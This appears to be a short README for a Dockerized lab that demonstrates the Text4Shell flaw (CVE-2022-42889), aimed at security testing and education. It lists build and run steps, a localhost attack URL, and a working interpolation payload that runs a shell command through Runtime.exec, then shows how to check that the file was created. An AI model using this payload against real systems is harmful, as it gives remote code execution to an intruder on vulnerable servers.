
Dockerized proof-of-concept for CVE-2022-42889 (Text4Shell) with script, DNS, and URL lookup-based RCE payloads for security testing and education.
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
You can also try using dns or url prefixes.
Get the container id
docker container ls
docker exec -it <container_id> bash
foo created in the /tmp directory):ls /tmp/
docker container stop <container_id>